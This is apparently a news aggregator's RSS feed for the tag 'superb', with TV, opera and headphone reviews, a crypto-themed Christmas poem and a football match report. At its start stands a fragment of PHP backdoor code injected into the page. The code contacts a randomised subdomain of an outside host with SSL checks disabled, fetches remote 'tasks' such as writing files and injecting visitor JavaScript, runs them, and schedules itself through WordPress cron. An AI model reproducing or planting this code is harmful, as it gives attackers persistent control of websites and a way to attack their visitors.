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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); superb – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 17 Nov 2018 10:26:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png superb – Brief News https://briefnews.eu 32 32 Escape at Dannemora Review: A Superb Cast Elevates a Standard Prison Break https://briefnews.eu/escape-at-dannemora-review-a-superb-cast-elevates-a-standard-prison-break/ https://briefnews.eu/escape-at-dannemora-review-a-superb-cast-elevates-a-standard-prison-break/#respond Sat, 17 Nov 2018 10:26:37 +0000 http://briefnews.eu/escape-at-dannemora-review-a-superb-cast-elevates-a-standard-prison-break/ We’ve seen plenty of prison breaks on TV and in movies over the years. (Heck, we even had a whole show called Prison Break… and it ran for five seasons!) So as yet another entry in a well-worn genre, Showtime’s true-crime limited series Escape at Dannemora — premiering this Sunday at 10/9c; I’ve seen six of the seven episodes — is brutally effective, but not especially groundbreaking. When it delves into the thickly tangled psyches of its characters, though, it rises to a higher level, thanks to excellent performances from its three lead actors — especially Patricia Arquette, who delivers fascinating, Emmy-caliber work here.

Escape at Dannemora Paul Dano Patricia ArquetteYou may recall the real-life story that Dannemora is based on: the 2015 manhunt that ensued when two convicted murderers made a daring escape from an upstate New York prison. It grabbed headlines with its sordid details — the inmates were having sex with a woman who worked at the prison, and she helped them escape! — and with comedy star Ben Stiller on board to direct, you might expect him to take this story in a jokey, Coen Brothers-esque direction. But Stiller doesn’t poke fun at his characters; instead, he plays it straight with a melancholy, generously humane portrait of blue-collar life… and the lengths some will go to bust out of that life.

Stiller filmed Dannemora in the real-life New York town where the prison break took place, and the cast and crew even spent about a year there before filming began. All that time spent pays off: Dannemora feels lived-in, with a bone-deep understanding of the struggles the people who live there go through. In a bitterly cold town that feels lost in time and is the farthest thing from glamorous, it’s understandable that people might want to escape: not only inmates Matt (Benicio Del Toro) and Sweat (Paul Dano), but also prickly prison employee Tilly (Arquette), who’s fooling around with both of them as an act of rebellion against her own drab, disappointing life.

Matt and Sweat’s escape plot dutifully hits all the usual B-movie beats: the plan, the near-discovery by the guards, the discouraging setback and then, finally, the escape. It’s lean and mean, and helped along by Stiller’s energetic directorial choices, like an exhilarating nine-minute tracking shot that reveals the dizzying full length of the escape route. But it can’t help but feel a bit stale. I’d rather have spent that time learning more about Tilly, or the prisoners. The character work is so strong, everything else about Dannemora pales by comparison.

Escape at Dannemora Patricia Arquette TillyBoth Del Toro and Dano do top-notch work here; Del Toro nimbly walks the line between charming and terrifying, and Dano plays against type with a tough-edged turn. But as good as they are, Arquette is the true standout here. She radically alters her appearance to play Tilly — no makeup, stringy blonde hair, her lips scrunched up in a permanent sneer — but it’s more than just a physical transformation. Tilly is pretty much a jerk, eternally irritated and constantly lying and whining, but Arquette also lets us see how she secretly just aches for a little attention and excitement. It’s a riveting performance, on par with anything I’ve seen on TV this year. (Tilly’s husband Lyle, though, is played a little too cartoonishly dopey, like he wandered over from Fargo.)

Like many limited series these days, Dannemora probably could stand to be shorter; it stalls out and loses momentum in the middle episodes before ramping back up for the final installments. But there’s a lot of rich psychological ground to cover here, and Stiller and his actors patiently sift through every bit of it. It’s interesting to compare this to another true-crime docudrama hitting TV screens soon: Bravo’s Dirty John, which has more than enough polish and glamour, but ends up being disappointingly hollow. Escape at Dannemora is more like a calloused pair of hands: maybe not the prettiest thing in the world to look at… but they get the job done.

THE TVLINE BOTTOM LINE: Escape at Dannemora rises above the typical prison-break story with humane characterization and excellent acting, especially from Patricia Arquette.

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After watching the latest Star Trek: Discovery episode, “What’s Past is Prologue,” consider me mad.

Me being mad is actually a good thing! Once again, I’m irritated we have to wait a full seven days for a new episode to come out. The writing is just that tight! This episode concluded with me holding my breath again. I can’t take the stress anymore! But before I get ahead of myself, let’s establish one clear outcome of this episode…

Saru is Georgiou’s worthy successor 

I’ve been waiting all season for a captain to fill the void left by Georgiou. Georgiou had all of the elements that made my favorite Star Trek captain, The Next Generation’s Picard, so awesome. She was patient, stern yet fair, compassionate, and knew how to get the maximum out of her crew. She was just the best, and the space left by her absence has been hanging over the show ever since her death. I had hoped that we’d find someone to carry on her spirit and legacy, and it looks like the right person for that job is Saru.

Saru studied under Georgiou longer than Michael and while Michael quickly outpaced him in terms of daringness, Saru mastered Georgiou’s ability to responsibly wield power for good and not for gain. Do I think Michael could make a great captain? Sure. Do I think now’s her time? No. That might surprise some of you out there who have read my reviews over these past few months. As much as I love Michael, she’s just too impulsive. That impulsivity showed once again when she made one of the most careless decisions someone with Vulcan training could have made: knowingly alter the timeline by bringing back Mirror Georgiou.

But back to Saru. Saru is an officer who never acts before he thinks, unlike Michael. His ability to make calculated decisions – even calculated risks – gives him the edge. He also knows the power of teamwork and inspiration and how make both a vital part of his command. It was this episode that finally offered the cerebral think-tank atmosphere I’ve loved about other Star Trek series. It also offered an inspirational pep talk that only a true captain can make –  it feels like it’s been so long since I’ve heard a Star Trek captain rally their crew the way Saru rallied his. These attributes make him worthy to carry on Georgiou’s legacy. I think she’d approve.

Now, let’s talk about Michael.

Michael lets her heart get her in trouble

Michael knows better than to take Mirror Georgiou back with her. What can Mirror Georgiou do for Michael? She can’t become her Georgiou, just like Michael can’t be Mirror Michael. This was the first time I’ve been truly angry with Michael’s actions. Like, couldn’t you leave well enough alone, girl?

But…I get it. She couldn’t allow another Georgiou to get killed. She didn’t want to relive seeing her captain die in front of her. However, Michael put so much emphasis on remembering that each Mirror counterpart wasn’t the same person from the Prime Universe. You’d think Michael wouldn’t have let herself slide like this. Now, all she’s got is an angry Mirror Georgiou, who expected to die with honor. Since we saw Sarek in next week’s preview, I’d love to know if he’s going to chew Michael out over this rash decision. (I’ll feel bad if he does, but in all honesty, she has it coming.)

Of course, Mirror Georgiou will serve a purpose now that our crew managed to make the jump back to the Prime universe. However, now there’s another problem.

The Klingons won?

The crew jumped forward nine months in the Klingon-Federation War, and it turns out the Klingons are well on their way to winning the whole conflict. I’d like to know how they did that, since both their precious T’Kuvma and Voq are dead (or, in the latter’s case, subsumed).

If the Klingons were still able to win, does that mean Voq’s sacrifice – him turning into Tyler – was all in vain? Where did the Klingons get the advanced tech to beat the Federation? Was the Discovery really that crucial to the entire Federation’s fleet? The Federation of Planets couldn’t have been relying on one ship to take out the Klingons, right? If so, the Federation proved Lorca right in one way – they relied too much on idealism and not enough on a plan for domination.

I should temper that statement, lest anyone start thinking I’m on the Terran Empire’s side with this. It’s clear the Klingon success is, once again, an overt nod to Trumpism. Star Trek has always held a mirror to our world, and in our world, it feels like Trumpism is reigning high and low. But where there’s still even just 20 percent of a chance – just like there’s 20 percent of Federation controlled space left – there’s still room enough for unity and peace to win out. We all know the Discovery crew and the Federation will find a way to restore order (and probably even make some alliances at the end of the day). But right now, they have to get through the messy part.

Don’t say goodbye, Jason Isaacs

I’m gonna miss ‘ol Lucius Malfoy on Star Trek: Discovery. Mirror Lorca was always circling the drain and he finally kicked the bucket in this episode, with Mirror Georgiou stabbing him through the chest with her awesome sword after an awesome battle staged by her, Michael, and the Discovery crew.

Isaacs is such a brilliant actor and it was such a treat to see him make Lorca unlikable in the truly, well, likable Isaacs fashion. Am I glad the Lorca threat is gone? Yes. Do I hope a Prime Lorca shows up somewhere? Most definitely. I don’t want this to be the last we see of Isaacs on this show. That’s a testament to his acting, but it’s also a testament to Star Trek: Discovery. You know a show is good when you miss the villains.

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]]> https://briefnews.eu/star-trek-discovery-review-whats-past-is-prologue-is-another-breathless-hour-of-superb-trek/feed/ 0 A top rates strategist at ANZ wrote this superb Christmas poem about blockchain and cryptos https://briefnews.eu/a-top-rates-strategist-at-anz-wrote-this-superb-christmas-poem-about-blockchain-and-cryptos/ https://briefnews.eu/a-top-rates-strategist-at-anz-wrote-this-superb-christmas-poem-about-blockchain-and-cryptos/#respond Fri, 22 Dec 2017 06:30:49 +0000 http://briefnews.eu/a-top-rates-strategist-at-anz-wrote-this-superb-christmas-poem-about-blockchain-and-cryptos/ santaJames D. Morgan/Getty Images for P&O Cruises Australia

Earlier this year we had Martin Whetton, Senior Rates Strategist at ANZ Bank, appear on our Devils and Details podcast to talk all things interest rates.

It was undoubtedly one of our best shows of the year, thanks to the vast knowledge and experience he was able to share.

Well, it appears that Martin is not just a rates market guru.

Following a more than 400% surge in the value of Long Island Iced Tea Corporation shares on Thursday on news the company would change its name to “Long Blockchain Corp,” Martin penned the following poem to describe the current craziness of the crypto world.

It really is a beauty, and probably sums up what many of you are thinking right now.

Here it is:

‘Twas the night before Christmas, when all over the street. The traders in dress down, no shoes on their feet.Their books had all wound down, positions were square, In hope that some Bitcoin would make its way there.

The sales desk were nestled all snug in their beds, While visions of tickets danced in their heads. Hopes for new issues, volatility too, And clients eager to buy something new.

When off in cyberspace there arose a great clatter, Long Island Tea has rebranded, it’s Blockchain what matters. No one understands it, and that is the deal, It’s like the dot com, but this time it’s real. 

I’m selling my house and cashing in school fees, The doubters can’t see the wood for the trees. The lustre of buying everything nice, Will increase each day as I watch the rise in the price.

Oh Bitcoin, oh blockchain, oh techy bubble, I know that one day this will turn into trouble. For now, I’m just going to go for the ride, But if my wife finds out, she will skin my hide.

Enough of this mess, screamed the SEC, We’ve had it with bubbles, it’s another South Sea. The price has collapsed, I’ve got nothing left, My money has gone, my hopes are bereft.

The laugh from the doubters, we told you “say no”, Mocking me now as I’m crushed from this blow. Cash funds, or a tracker would have caused less strife, How will I explain this all to my wife? 

Happy Christmas.blockchain to you all.

Thanks to Martin for letting us use it. You can follow him on Twitter here »

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Chief among them was Semiramide, a melodrama set in ancient Babylon featuring the scandalridden life of Assyria’s legendary warrior queen.

Rossini wrote the title role for his wife, the diva Isabella Colbran, who, by the time the opera was premiered in 1823, found the demanding role beyond her capabilities.

This may be one reason the opera is so rarely performed, the other being its length: four hours, even with cuts.

There could be no better choice for the role of Semiramide than stellar mezzo Joyce DiDonato.

She takes the show-stopping coloratura in her stride and also finds a sympathetic side to the despotic queen.

Quite an achievement, as Semiramide has had her husband King Nino murdered by her lover Assur.

She ditches Assur for handsome young General Arsace, regardless that he loves the princess Azema.

All unravels with the discovery that Arsace is really her long lost son, thus adding incest to the heady brew.

Director David Alden, with designers Paul Sternberg and Buki Shiff, sets the opera in a modern political dystopia, opening on to a gigantic statue and super-size portraits of the despot’s family.

Alden’s production is gripping in key scenes such as the raising of the ghost of Nino but irritating at times – especially in bandaging Jacquelyn Stucker’s Azema into a glitzy straitjacket.

The singing is superb, though. Daniela Barcellona brings a rich burnished mezzo to Arsace, blending beautifully with DiDonato in duet “Alle Piu Care Immagini” (The Most Cherished Images).

American tenor Lawrence Brownlee’s Indian Prince Idreno delivers his virtuoso aria with nonchalant ease while bassbaritone Mirco Palazzi, stepping in after the first act to replace an ailing Michele Pertusi, delivers a powerful Assur. 

The orchestra of the Royal Opera under Sir Antonio Pappano gives a lively account of Rossini’s score. 

Royal Opera House, London WC2 (Tickets: 020 7304 4000/ roh.org.uk; £37-£245)

Nico Muhly’s Marnie English National Opera The Coliseum, London WC2 (Tickets: 020 7845 9300/ eno.org: £12-£125)

American composer Nico Muhly claims Winston Graham’s 1961 suspense novel rather than Alfred Hitchcock’s film inspired his opera Marnie, given its world premiere at the Coliseum last week. Muhly and librettist Nicholas Wright return to the novel’s 1950s England in an intriguing psychological study centring on childhood trauma.

The story is seen from the viewpoint of Marnie, a con artist who assumes multiple identities and commits multiple thefts because of mystery trauma.

Her downfall comes when her glamorous new persona is rumbled, as the man she intends to defraud had chanced on her in a previous incarnation as a frumpy secretary.

He blackmails her into marriage and attempts to rape her when she refuses to have sex with him, then calls in a psychoanalyst to get to the root of her neurosis.

Michael Mayer’s production nicely evokes the 1950s, and devotees of the era may wallow in references to prawn cocktail and Babycham.

Four “Shadow Marnies” in swagger coats of shocking pink, blue, green and orange lend an inner voice to the tormented heroine.

Rising American soprano Sasha Cooke gives an immaculate performance as Marnie, and Canadian bass-baritone Daniel Okulitch plays her nemesis Mark Rutland. Counter tenor James Laing is Mark’s gamester brother Terry, and Lesley Garrett gives an excellent cameo portrayal as Mark’s formidable mother.

The cinematic-style score is finely performed by ENO’s Orchestra under music director Martyn Brabbins.

Rating: 3/5

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]]> https://briefnews.eu/gioachino-rossinis-semiramide-show-stopping-and-gripping-with-a-superb-music-production/feed/ 0 Beats Studio 3 Wireless review – Ultimate cans for iPhone fans are superb but not flawless https://briefnews.eu/beats-studio-3-wireless-review-ultimate-cans-for-iphone-fans-are-superb-but-not-flawless/ https://briefnews.eu/beats-studio-3-wireless-review-ultimate-cans-for-iphone-fans-are-superb-but-not-flawless/#respond Sun, 12 Nov 2017 12:08:26 +0000 http://briefnews.eu/beats-studio-3-wireless-review-ultimate-cans-for-iphone-fans-are-superb-but-not-flawless/

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  • PROS – Comfortable to wear • Foldable design • Easy connection to Apple devices
  • CONS – Plastic appearance • Confusing controls • Micro USB charging makes no sense

With Apple continuing its campaign to kill the headphone port, more consumers are switching to wireless headphones.

Beats are no stranger to going wire-free but now there’s a new pair of Bluetooth cans called the Studio 3 Wireless.

These updated headphones offer the ultimate experience if you own an iPhone with them instantly connecting and switching between all of your Apple devices.

This compatibility should come as no surprise considering the US technology firm bought Beats back in 2014 for $ 3billon.

So, if you’re in the market for some new noise-cancelling headphones should Beats be top of your Christmas wish list?

Express.co.uk has been putting them to the test around the noisy streets of London and here’s our full Beats Studio 3 Wireless review.

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Beats Studio 3 WIreless offer a decent level of noise cancellation

DESIGN & COMFORT

There’s no getting away from the fact that the plastic look and feel of the Beats Studio 3 Wireless won’t be for everyone.

Other manufacturers, including Bower and Wilkins, are producing far more premium looking cans.

However, despite their plastic appearance, the new Studio 3 Wireless actually feel pretty solid and very well built.

They also have a neat folding mechanism which means they can fit snuggly in your bag.

Beats supplies a tough case so you should also feel pretty confident that your new £300 headphones aren’t going to get damaged when not on your ears.

Having used them for a few weeks we really don’t have an issue with the overall design of the Studio 3 Wireless but there one thing that’s been bugging us.

On the side of the left ear cup are hidden controls which allow you to pause, skip and change the volume of the music you happen to be listening to.

Tucking these controls behind the famous Beats logo is a nice touch but in reality they don’t work well enough and actually become highly irritating to use.

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Beats Studio 3 wireless are some of the most comfortable cans on the market

Pressing to control the volume can end up in tracks being paused and double/triple tapping to skip songs if fraught with issues.

Other premium headphones include separate buttons or touch technology which is far more simple and accurate.

The controls may be a little confusing but one great thing about the design is how comfortable these headphones feel when placed on your head.

The lightweight build means you hardly notice you are wearing them and the soft cup around the ear makes them blissfully pleasant to use.

We wear glasses and some on-ear cans, that we’ve tested in the past, can pinch and become excruciatingly uncomfortable but the Beats pass this test with flying colours.

In fact we’d go as far to say they are possibly some of the most comfy cans we’ve ever tried.

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The Beats fold neatly into a protective case

SOUND & NOISE CANCELLATION

If you want a pair of headphones that offer subtle sound, switch off right now as the Beats Studio 3 Wireless are definitely not for you.

These cans boom out bass like it’s going out of fashion and are aimed at people who like their music loud and eardrum rumbling.

That’s not to say that the Beats are bad as we’ve really enjoyed our time with them and if bass is your thing you’re going to love them.

With the latest pure ANC noise-cancelling tech tucked inside you’re also offered an uninterrupted experience with your tunes packed full of depth and a decent amount of clarity.

Unlike most noise-cancelling cans, which require the user to change the settings depending on their environment, the Beats Studio 3 do this automatically.

This clever tech constantly monitors what’s going on around you via unique microphones tucked inside the headphones and adapts the cancellation accordingly.

We’re not totally convinced the sound blocking is as good as some of its rivals with a small amount of background sound leaking through, but the Beats Studio Wireless 3 provide a decent enough experience without any fuss.

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WHY SO GREAT FOR iPHONE FANS?

Inside the Beats Studio 3 Wireless is Apple’s new W1 chip which makes them incredibly easy to link to your iPhone, iPad and Mac devices.

Wireless headphones can often be a huge pain to connect and switching between devices often means having to press an array of buttons to reset the Bluetooth pairing.

As long as you have a relatively new iPhone or iPad you simply place the Studio 3 Wireless nearby to instantly connect.

Start using your Mac later in the day and, as long as you are signed into your iCloud account, the Beats will pair without too much hassle.

It’s clever stuff and certainly solves the usual and annoying connectivity issues of Bluetooth cans.

There is only one slight criticism if you do own an iPhone as Beats only bundle a standard 3.5mm headphone cable in the box with its Studio 3 Wireless.

This wire can be used when Bluetooth isn’t available or the headphones run out of juice but, with the iPhone not including a headphone port, it seems a strange decision not to package a Lightning cable that will connect via Apple’s unique charging port.

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The Beats Studio 3 Wireless instantly connect to Apple devices

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Sound quality is excellent although these headphones are made for bass

BATTERY LIFE

Being wire-free the Studio 3 Wireless need a battery to power them and Beats has managed to squeeze around 20-hours of life into one charge.

This fast-charging battery life is increased even further if you switch noise-cancelling off.

It’s hard to fault the power of Studio 3 Wireless with them easily lasting the longest of long-haul flights, but Beats has made a bizarre decision when you want to refill them with juice.

As we explained earlier in this review, Apple uses its own Lightning connection on its iPhones and USB-C on its new MacBooks, so why the Studio Wireless 3 are charged via the ancient, and soon to outdated, Micro USB has left us totally baffled.

It’s not a deal-breaker, it just makes absolutely no sense whatsoever.

There is one other issue with these cans as they don’t automatically switch off so you need to make sure you tap the power button when you get home or you’ll face flat battery the next time you go to use them.

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VERDICT

There’s no question that the Studio 3 Wireless are a fabulous pair of headphones.

They’re solid, well built and are incredibly comfortable to wear.

If you like a bucket load of bass the sound is also excellent although this booming audio won’t be for everyone.

The noise cancellation is also very good and its adaptive technology means there’s no fuss switching settings.

Plus, if you own an iPhone or iPad you’ll love how easily they connect to all of your Apple devices.

The Studio 3 Wireless should be a five star product but there’s simply too many little niggles for them to receive our top score.

The controls on the side are irritating, the plastic look is not premium enough and Micro USB charging is just plain odd.

We also think there’s better noise-cancelling headphones on the market for similar money.

If you love all things Beats you really won’t be disappointed as the Studio 3 Wireless are excellent they just won’t be to everyone’s taste.

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]]> https://briefnews.eu/beats-studio-3-wireless-review-ultimate-cans-for-iphone-fans-are-superb-but-not-flawless/feed/ 0 Top of the Lake: China Girl Review: Elisabeth Moss Shines (Again) in Sundance's Superb Crime Drama https://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/ https://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/#respond Mon, 21 Aug 2017 13:32:49 +0000 http://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/ Elisabeth Moss will be a top contender at this year’s Emmys, and deservedly so, for her work in Hulu’s The Handmaid’s Tale. And she might as well make plans for a return trip next year, too, based on her knockout performance in Sundance’s gritty, mesmerizing crime drama Top of the Lake: China Girl.

A sequel to 2013’s Top of the Lake, China Girl — a six-hour Australian miniseries premiering Sunday, Sept. 10 at 9/8c and airing over three consecutive nights — finds Moss’ police detective Robin Griffin back in Sydney, still guarded and on edge after the traumatic events of last season. (Yes, you need to watch Season 1 before China Girl, if only to understand why Robin is so haunted… and also because it’s great.) Soon, she has a new partner in eager recruit Miranda (Game of Thrones‘ Gwendoline Christie) and a new case to obsess over when the dead body of an Asian prostitute is found stuffed inside a suitcase on a local beach.

Top of the Lake China Girl Elisabeth Moss Alice EnglertBut Robin is chasing personal demons, too: She reconnects with the daughter she gave up for adoption years ago, Mary (Alice Englert), who’s now 17 and rebelling against her adoptive parents (Nicole Kidman and Ewen Leslie) with her much older creep of a boyfriend Alexander (David Dencik). It sounds like an odd fit, but Robin and Mary’s adoption story actually ends up being more compelling than the murder mystery. China Girl isn’t a by-the-numbers crime drama: It’s a human story, first and foremost, and every side trip the narrative takes is emotionally rich and insightful.

As in the last Top of the Lake, Robin also has to battle her way through a thick cloud of male chauvinism at work. The men she works with on the police force are either sleazy perverts or incompetent oafs, or both. (At a crime scene, a male cop orders Miranda to fetch his jacket, then turns to ask Robin if she’s single.) It only makes Robin’s job harder, but she soldiers on without complaint, as if she’s been dealing with idiots like this her whole life. Plus, China Girl finds time to examine the murky morality of legal prostitution (we meet a group of dorky bloggers who trade notes on their favorite brothels and whores), the perils of motherhood in all its forms, and a dozen other fascinatingly juicy themes.

It almost goes without saying at this point that Moss is terrific in this. From Mad Men‘s Peggy Olson to The Handmaid’s Tale‘s Offred, Moss seems to specialize in a stiff-lipped defiance of misogyny, and she gives Robin a steely determination. But she’s not a robot, either: Robin’s pent-up rage spills out at inconvenient times, and Moss lets us see the still-fresh wounds beneath her tough exterior. (As Robin says, she’s not only been “burnt” in the past, she’s been “deep-fried.”) It’s a stunningly vulnerable, powerhouse performance from Moss, further solidifying her status as one of TV’s finest actresses working today.

Top of the Lake China Girl Nicole KidmanActually, the acting is tremendous across the board, as is the directing. Quiet and meditative throughout, China Girl is gorgeously photographed; Oscar winner Jane Campion directs half the episodes and fills the frame with tiny, telling details. (Like when we see Robin’s male colleagues playfully wrestling in the background while she works, or when Robin has to weave her way through a forest of tall blonde girls sipping wine at a bar.) Kidman will likely be back at the Emmys next year, too, for her work here playing a panicked mother who feels her daughter slipping through her fingers. Christie gets a chance to show a comedic, emotional range we haven’t seen from her on GoT, and Englert is very impressive as young Mary, who’s desperate for affection and finds it in all the wrong places.

Judged strictly as a crime drama, China Girl isn’t perfect: It’s a bit exposition-heavy at first, bending over backwards to fill in viewers who didn’t watch the first season, and the various story strands tie together too easily. But the central murder mystery does build to a startlingly intense finish. (You’ll want to watch the last two hours in a row, since Episode 5 ends on a gasp-worthy cliffhanger.) Ultimately, though, China Girl isn’t just about revealing who the killer is. It’s about taking a hard, unflinching look at why we do the terrible things we do… in the hopes that maybe we won’t repeat them the next time around.

THE TVLINE BOTTOM LINE: Top of the Lake: China Girl is a triumph — a haunting, humane crime drama filled with powerhouse performances.

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]]> https://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/feed/ 0 Superb Socceroos push Chile all the way https://briefnews.eu/superb-socceroos-push-chile-all-the-way/ https://briefnews.eu/superb-socceroos-push-chile-all-the-way/#respond Sun, 25 Jun 2017 18:22:34 +0000 http://briefnews.eu/superb-socceroos-push-chile-all-the-way/

Martin Rodriguez of Chile celebrates scoring.

Stephen WilsonThe Daily Telegraph

A DRAW against the South American champions and an exit from the Confederations Cup.

But the Socceroos will carry pride and belief with them back home after a much changed side put in their best performance of the competition – of any competition for over a year – in a thrilling 1-1 draw with Chile.

It was the kind of complete, measured and high energy display Socceroos fans have been yearning for ,and coach Ange Postecoglou has long promised they were capable of.

There will be renewed confidence after this going in to the crucial World Cup qualifiers later this year, and for that alone the trip to Russia can now be considered a minor success.

James Troisi had given Australia a first half lead they had earned through graft and guile, before Chile substitute Martin Rodriguez levelled the match from close range on 67 minutes.

James Troisi.

James Troisi.Source:Getty Images

Postecoglou made six changes from the team that drew 1-1 with Cameroon, and shuffled his pack in terms of positions, too, leaving two of the side’s best players, in Aaron Mooy and Tom Rogic, benched for a must win game.

In a first half of intent and quality from Australia, however, they weren’t missed at all.

Chile made five changes of their own but retained their main attacking weapons from the start in Sanchez, Vargas and midfield force of nature Arturo Vidal.

However, if they thought they were in a for an easy evening at the Spartak Stadium in Moscow, they were swiftly disabused of that notion by some rugged Socceroos challenges, flirting at times with illegality, and neat passing, with Australia seeing more of the ball in the opening period than their more fancied opponents.

Chile were not without threat but the back three of Trent Sainsbury, Mark Milligan and Ryan McGowan were immense. They had to be. Sanchez was in the mood.

Chile's forward Martin Rodriguez (R) celebrates with Chile's forward Alexis Sanchez after scoring.

Chile’s forward Martin Rodriguez (R) celebrates with Chile’s forward Alexis Sanchez after scoring.Source:AFP

A searching ball over the top saw the Arsenal man take it down on his chest and foot from the air without breaking stride. Exceptional. A goal beckoned as he surged in to the box but Milligan, making up the ground admirably, just got enough of the ball to avoid conceding a penalty. VAR proved Milligan’s innocence, despite protests from the Chileans.

Australia were mixing quick passing with, at times ragged aggression. Massimo Luongo and Jackson Irvine were snapping in to tackles in the holding roles, the former rightly booked on 20 minutes when going through the back of Vidal.

Troisi and Aziz Behich followed him, as did Cahill, making his 100th appearance for the national team, following a particularly ugly foul on Charles Aranguiz on the half-hour mark.

Australia's Tim Cahill jumps to head the ball.

Australia’s Tim Cahill jumps to head the ball.Source:AP

Half chances came and went for both sides before a dramatic final 10 minutes of the half.

Australia were first to threaten. Troisi had a shot blocked, but saw the ball come back to and he chipped a fine delivery in to the box to pick out Luongo’s run. He could only shoot first time at goalkeeper Carlos Bravo.

Australia would not be denied for long. Kruse and Sainsbury double teamed to pick the pocket of Vargas in the centre circle before surging forward. Sainsbury was in uncharted territory and couldn’t get his shot away, but did enough to work it to Kruse whose angled drive through a crowd scene found Troisi in space. His cool, delicate chip over the driving Bravo was exquisite. Suddenly that hope was being nurtured in to belief.

Chile responded, as champions do. Sanchez demonstrated his class once more, wriggling free of three challenges on the left touchline to launch an attack that eventually was repelled on the Australian line, just, by first Milligan’s knee then McGowan’s sliding clearance.

Mark Milligan of Australia attempts to stop Alexis Sanchez of Chile from scoring.

Mark Milligan of Australia attempts to stop Alexis Sanchez of Chile from scoring.Source:Getty Images

As the clock ticked in to added time at the end of the first half, Sainsbury had a glorious chance to double the lead, ballooning over the bar from close range when clear in space. His blushes were spared by the linesman’s flag. Though, had it been put away, that ruling would surely have been overturned on VAR.

Australia began the second period with fire still in their bellies, Luongo and Cahill winning battles, Kruse pushing on, a succession of crosses testing Bravo in the Chile goal without managing to quite hit their mark.

Postecoglou, in search of the two goal winning margin required, sought to keep things fresh. Cahill was replaced by Mathew Leckie, Kruse moving inside. Vidal was booked soon after. Chile enduring a more uncomfortable evening than most had predicted.

Sanchez bustled in to the box and stabbed a shot straight at Ryan. The partisan crowd tried to rouse their team. McGowan slid in to cut out a ball through the centre Vargas was set to exploit.

Just after the hour mark Maclaren replaced Juric. Australia were still finding space and movement, a long diagonal from Behich picking out Kruse in the box, he should have made more of the chance but was put off by the covering defender and lost the track of the ball.

Chile's goalkeeper Claudio Bravo (L) vies with Australia's forward Robbie Kruse.

Chile’s goalkeeper Claudio Bravo (L) vies with Australia’s forward Robbie Kruse.Source:AFP

With both sides now needing a single goal to ensure progression to the semi-finals, the game opened up. Troisi fired a thunderbolt that only cleared the crossbar by a few inches.

But then, a sucker punch. After a Chile cross wasn’t cleared, the ball helped on from the head of Vargas, substitute Rodriguez showing a poacher’s instinct to get to the ball before Sainsbury to stab is inside the post off Ryan’s thigh.

Maclaren had a glorious chance on 70 minutes to restore Australia’s lead. But, played in to the box in space he sliced his first time effort wide. He almost made up for it six minutes later, exchanging smart passes with Kruse to put his teammate in on goal but another, more taxing, chance went begging.

In the final 20 minutes Chile grew more commanding in to the game as Australia tired, justifiably – though continued to harry and hunt in packs in search of turnovers and an avenue to goal.

There was to be none. The point they take from this fixture seems scant reward for the effort and guts Australia showed in going head to head with one of the world’s best and not looking out of place.

Australia players.

Australia players.Source:AP

Originally published as Superb Socceroos push Chile all the way

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Now, it packs a bit more punch.

